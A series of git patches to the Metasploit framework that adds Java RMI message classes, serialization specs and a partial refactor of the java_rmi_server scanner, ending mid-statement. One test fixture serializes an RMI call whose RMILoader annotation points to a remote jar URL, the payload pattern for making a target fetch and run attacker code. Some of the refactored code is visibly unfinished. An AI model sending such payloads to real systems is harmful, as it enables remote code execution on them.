6cee872ec6..3d358044b3 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -24,4 +24,5 @@ require 'rex/proto/rmi/model/element' require 'rex/proto/rmi/model/output_header' require 'rex/proto/rmi/model/protocol_ack' require 'rex/proto/rmi/model/continuation' -require 'rex/proto/rmi/model/call' \ No newline at end of file +require 'rex/proto/rmi/model/call' +require 'rex/proto/rmi/model/return_data' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb index bc760c418e..120ee8a8fe 100644 --- a/lib/rex/proto/rmi/model/call.rb +++ b/lib/rex/proto/rmi/model/call.rb @@ -30,7 +30,7 @@ module Rex message_id end - # Reads the call data from the IO + # Reads and deserializes the call data from the IO # # @param io [IO] the IO to read from # @return [Rex::Java::Serialization::Model::Stream] diff --git a/lib/rex/proto/rmi/model/return_data.rb b/lib/rex/proto/rmi/model/return_data.rb new file mode 100644 index 0000000000..fe99d23a6e --- /dev/null +++ b/lib/rex/proto/rmi/model/return_data.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return data stream + class ReturnData < Element + + # @!attribute stream_id + # @return [Fixnum] the stream id + attr_accessor :stream_id + # @!attribute return value + # @return [Rex::Java::Serialization::Model::Stream] the serialized return data + attr_accessor :return_value + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == RETURN_DATA + raise ::RuntimeError, 'Failed to decode ReturnData stream id' + end + + stream_id + end + + # Reads and deserializes the return value from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_return_value(io) + return_value = Rex::Java::Serialization::Model::Stream.decode(io) + + return_value + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the return_value field + # + # @return [String] + def encode_return_value + return_value.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/return_data_spec.rb b/spec/lib/rex/proto/rmi/model/return_data_spec.rb new file mode 100644 index 0000000000..4511f3d618 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/return_data_spec.rb @@ -0,0 +1,59 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::ReturnData do + + subject(:return_data) do + described_class.new + end + + let(:return_stream) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + + let(:return_stream_io) { StringIO.new(return_stream) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ReturnData decoded" do + expect(return_data.decode(return_stream_io)).to eq(return_data) + end + + it "decodes message id correctly" do + return_data.decode(return_stream_io) + expect(return_data.stream_id).to eq(Rex::Proto::Rmi::Model::RETURN_DATA) + end + + it "decodes the return data correctly" do + return_data.decode(return_stream_io) + expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + describe "#encode" do + it "re-encodes a ReturnData stream correctly" do + return_data.decode(return_stream_io) + expect(return_data.encode).to eq(return_stream) + end + end +end From 1e3b24f01b4f10c7a03c33d9431c7768c82ea86c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 6 Jan 2015 15:00:17 -0600 Subject: [PATCH 007/103] Add support for DbgAck --- lib/rex/proto/rmi/model.rb | 5 +- lib/rex/proto/rmi/model/dbg_ack.rb | 62 ++++++++++++++++++++ spec/lib/rex/proto/rmi/model/dbg_ack_spec.rb | 43 ++++++++++++++ 3 files changed, 108 insertions(+), 2 deletions(-) create mode 100644 lib/rex/proto/rmi/model/dbg_ack.rb create mode 100644 spec/lib/rex/proto/rmi/model/dbg_ack_spec.rb diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index 3d358044b3..4ae706b661 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -10,7 +10,7 @@ module Rex MULTIPLEX_PROTOCOL = 0x4d CALL_MESSAGE = 0x50 PING_MESSAGE = 0x52 - DGC_ACK_MESSAGE = 0x54 + DBG_ACK_MESSAGE = 0x54 PROTOCOL_ACK = 0x4e PROTOCOL_NOT_SUPPORTED = 0x4f RETURN_DATA = 0x51 @@ -25,4 +25,5 @@ require 'rex/proto/rmi/model/output_header' require 'rex/proto/rmi/model/protocol_ack' require 'rex/proto/rmi/model/continuation' require 'rex/proto/rmi/model/call' -require 'rex/proto/rmi/model/return_data' \ No newline at end of file +require 'rex/proto/rmi/model/return_data' +require 'rex/proto/rmi/model/dbg_ack' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/dbg_ack.rb b/lib/rex/proto/rmi/model/dbg_ack.rb new file mode 100644 index 0000000000..0c4ea704ee --- /dev/null +++ b/lib/rex/proto/rmi/model/dbg_ack.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI DbgACK stream. It is an acknowledgement + # directed to a server's distributed garbage collector that indicates that remote objects + # in a return value from a server have been received by the client. + class DbgAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute unique_identifier + # @return [String] the unique identifier + attr_accessor :unique_identifier + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == DBG_ACK_MESSAGE + raise ::RuntimeError, 'Failed to decode DbgAck stream id' + end + + stream_id + end + + # Reads the unique identifier from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_unique_identifier(io) + unique_identifier = read_string(io, 14) + + unique_identifier + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the unique_identifier field + # + # @return [String] + def encode_unique_identifier + unique_identifier + end + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/dbg_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dbg_ack_spec.rb new file mode 100644 index 0000000000..0f199d3876 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/dbg_ack_spec.rb @@ -0,0 +1,43 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::DbgAck do + + subject(:dbg_ack) do + described_class.new + end + + let(:sample) do + "\x54\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::DbgAck decoded" do + expect(dbg_ack.decode(sample_io)).to eq(dbg_ack) + end + + it "decodes stream_id correctly" do + dbg_ack.decode(sample_io) + expect(dbg_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DBG_ACK_MESSAGE) + end + + it "decodes address correctly" do + dbg_ack.decode(sample_io) + expect(dbg_ack.unique_identifier).to eq("\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17") + end + end + + describe "#encode" do + it "encodes the DbgAck correctly" do + dbg_ack.stream_id = Rex::Proto::Rmi::Model::DBG_ACK_MESSAGE + dbg_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + + expect(dbg_ack.encode).to eq(sample) + end + end +end From 98ec08ae0dab8443cd6f3338d0ff726128afd99d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 6 Jan 2015 15:18:55 -0600 Subject: [PATCH 008/103] Add support for Ping and PingAck --- lib/rex/proto/rmi/model.rb | 4 +- lib/rex/proto/rmi/model/ping.rb | 41 +++++++++++++++++++ lib/rex/proto/rmi/model/ping_ack.rb | 41 +++++++++++++++++++ spec/lib/rex/proto/rmi/model/ping_ack_spec.rb | 37 +++++++++++++++++ spec/lib/rex/proto/rmi/model/ping_spec.rb | 36 ++++++++++++++++ 5 files changed, 158 insertions(+), 1 deletion(-) create mode 100644 lib/rex/proto/rmi/model/ping.rb create mode 100644 lib/rex/proto/rmi/model/ping_ack.rb create mode 100644 spec/lib/rex/proto/rmi/model/ping_ack_spec.rb create mode 100644 spec/lib/rex/proto/rmi/model/ping_spec.rb diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index 4ae706b661..9b42971d13 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -26,4 +26,6 @@ require 'rex/proto/rmi/model/protocol_ack' require 'rex/proto/rmi/model/continuation' require 'rex/proto/rmi/model/call' require 'rex/proto/rmi/model/return_data' -require 'rex/proto/rmi/model/dbg_ack' \ No newline at end of file +require 'rex/proto/rmi/model/dbg_ack' +require 'rex/proto/rmi/model/ping' +require 'rex/proto/rmi/model/ping_ack' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping.rb b/lib/rex/proto/rmi/model/ping.rb new file mode 100644 index 0000000000..c0406b3ae2 --- /dev/null +++ b/lib/rex/proto/rmi/model/ping.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI Ping stream. A Ping is a message for testing + # livereness of a remote virtual machine. + class Ping < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_MESSAGE + raise ::RuntimeError, 'Failed to decode Ping stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping_ack.rb b/lib/rex/proto/rmi/model/ping_ack.rb new file mode 100644 index 0000000000..db0131b42a --- /dev/null +++ b/lib/rex/proto/rmi/model/ping_ack.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI PingAck stream. A PingAck is the acknowledgement + # for a Ping message. + class PingAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_ACK + raise ::RuntimeError, 'Failed to decode PingAck stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb new file mode 100644 index 0000000000..60223f039c --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb @@ -0,0 +1,37 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::PingAck do + + subject(:ping_ack) do + described_class.new + end + + let(:sample) do + "\x53" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::PingAck decoded" do + expect(ping_ack.decode(sample_io)).to eq(ping_ack) + end + + it "decodes stream_id correctly" do + ping_ack.decode(sample_io) + expect(ping_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PING_ACK) + end + end + + describe "#encode" do + it "encodes the PingAck correctly" do + ping_ack.stream_id = Rex::Proto::Rmi::Model::PING_ACK + expect(ping_ack.encode).to eq(sample) + end + end +end + diff --git a/spec/lib/rex/proto/rmi/model/ping_spec.rb b/spec/lib/rex/proto/rmi/model/ping_spec.rb new file mode 100644 index 0000000000..732bc61d78 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/ping_spec.rb @@ -0,0 +1,36 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::Ping do + + subject(:ping) do + described_class.new + end + + let(:sample) do + "\x52" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Ping decoded" do + expect(ping.decode(sample_io)).to eq(ping) + end + + it "decodes stream_id correctly" do + ping.decode(sample_io) + expect(ping.stream_id).to eq(Rex::Proto::Rmi::Model::PING_MESSAGE) + end + end + + describe "#encode" do + it "encodes the Ping correctly" do + ping.stream_id = Rex::Proto::Rmi::Model::PING_MESSAGE + expect(ping.encode).to eq(sample) + end + end +end From ba13e9d64cf395425b0dce0c3af7f33fb6d7819f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Jan 2015 12:05:44 -0600 Subject: [PATCH 009/103] Add Stream spec --- .../serialization/model/new_class_desc.rb | 4 +- .../java/serialization/model/stream_spec.rb | 77 +++++++++++++++++++ 2 files changed, 79 insertions(+), 2 deletions(-) diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index e33ff5076a..e9914071be 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -66,8 +66,8 @@ module Rex # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless class_name.class == Rex::Java::Serialization::Model::Utf && - class_annotation.class == Rex::Java::Serialization::Model::Annotation && + unless class_name.class == Rex::Java::Serialization::Model::Utf || + class_annotation.class == Rex::Java::Serialization::Model::Annotation || super_class.class == Rex::Java::Serialization::Model::ClassDesc raise ::RuntimeError, 'Filed to serialize NewClassDesc' end diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 2c786b471a..015d0af021 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -116,6 +116,21 @@ describe Rex::Java::Serialization::Model::Stream do EOS } + let(:rmi_call) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + + "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + + "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + + "\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" + + "\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" + + "\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" + + "\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" + + "\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" + + "\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00" + end + describe ".new" do it "Rex::Java::Serialization::Model::Stream" do expect(stream).to be_a(Rex::Java::Serialization::Model::Stream) @@ -259,6 +274,68 @@ describe Rex::Java::Serialization::Model::Stream do expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*")) end end + + context "when serializing a Java RMI call" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + expect(stream.encode).to eq(rmi_call) + end + end end end \ No newline at end of file From 731c2f99d1e9b16ebcbb88e23a9aef9b136228c3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Jan 2015 15:19:28 -0600 Subject: [PATCH 010/103] Handle better java references --- lib/rex/java/serialization/model/new_array.rb | 5 +++++ lib/rex/java/serialization/model/new_object.rb | 7 ++++++- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb index 7c7730c62a..1f77d4b427 100644 --- a/lib/rex/java/serialization/model/new_array.rb +++ b/lib/rex/java/serialization/model/new_array.rb @@ -109,6 +109,11 @@ module Rex desc = array_description.description + if desc.class == Reference + ref = desc.handle - BASE_WIRE_HANDLE + desc = stream.references[ref] + end + unless desc.class_name.contents[0] == '[' # Array raise ::RuntimeError, 'Unsupported NewArray description' end diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index 572566a51c..045a11243b 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -94,7 +94,12 @@ module Rex values = [] unless my_class_desc.super_class.description.class == NullReference - values += decode_class_data(io, my_class_desc.super_class.description) + if my_class_desc.super_class.description.class == Reference + ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE + values += decode_class_data(io, stream.references[ref]) + else + values += decode_class_data(io, my_class_desc.super_class.description) + end end values += decode_class_fields(io, my_class_desc) From d59805568e1f92478c6c0e23bd8510eb308878b2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 7 Jan 2015 19:06:09 -0600 Subject: [PATCH 011/103] Do first module refactoring try --- lib/msf/core.rb | 3 + lib/rex/proto/rmi/model/element.rb | 2 +- .../auxiliary/scanner/misc/java_rmi_server.rb | 186 ++++++++++-------- 3 files changed, 106 insertions(+), 85 deletions(-) diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 7b44b365b4..2eb296a43b 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -75,6 +75,9 @@ require 'msf/http/jboss' # Kerberos Support require 'msf/kerberos/client' +# Java RMI Support +require 'msf/rmi/client' + # Drivers require 'msf/core/exploit_driver' diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb index 4e303b8065..60a6bbf481 100644 --- a/lib/rex/proto/rmi/model/element.rb +++ b/lib/rex/proto/rmi/model/element.rb @@ -27,7 +27,7 @@ module Rex # @return [Rex::Proto::Rmi::Model::Element] def self.decode(io) elem = self.new - elem.decode(input) + elem.decode(io) elem end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 50afdbd8fd..7682263478 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -4,10 +4,12 @@ ## require 'msf/core' +require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + #include Msf::Exploit::Remote::Tcp + include Msf::Rmi::Client include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -33,96 +35,112 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def setup - buf = gen_rmi_loader_packet - - jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" - new_url = "file:RMIClassLoaderSecurityTest/" + jar - - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url - - idx = buf.index(find_me) - len = [new_url.length].pack("n") - - # Now replace it with the new url - buf[idx, find_me.length] = len + new_url - - @pkt = "JRMI" + [2,0x4b,0,0].pack("nCnN") + buf - end - def run_host(target_host) - + vprint_status("#{peer} - Sending RMI Header...") + connect begin - connect - sock.put("\x4a\x52\x4d\x49\0\x02\x4b") - res = sock.get_once - disconnect - - if res and res =~ /^\x4e..([^\x00]+)\x00\x00/ - info = $1 - - begin - # Determine if the instance allows remote class loading - connect - sock.put(@pkt) rescue nil - - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break if not res - buf << res - end - - rescue ::Interrupt - raise $! - rescue ::Exception - ensure - disconnect - end - - if buf =~ /RMI class loader disabled/ - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") - elsif buf.length > 0 - print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") - svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") - report_vuln( - :host => rhost, - :service => svc, - :name => self.name, - :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", - :refs => self.references - ) - else - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") - end - - end - - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError, ::IOError - ensure + send_header + rescue ::RuntimeError + print_error("#{peer} - Filed to negotiate RMI protocol") disconnect + return end + # Determine if the instance allows remote class loading + vprint_status("#{peer} - Sending RMI Call...") + begin + return_data = send_call(call_data: build_gc_call) + rescue ::RuntimeError + print_error("#{peer} - Failed to send RMI Call") + disconnect + return + end + disconnect + return + + if buf =~ /RMI class loader disabled/ + print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") + elsif buf.length > 0 + print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") + svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") + report_vuln( + :host => rhost, + :service => svc, + :name => self.name, + :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", + :refs => self.references + ) + else + print_status("#{rhost}:#{rport} Java RMI Endpoint Detected") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") + end end - def gen_rmi_loader_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" + def build_gc_call + jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' + jar_url = "file:RMIClassLoaderSecurityTest/" + jar + + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = 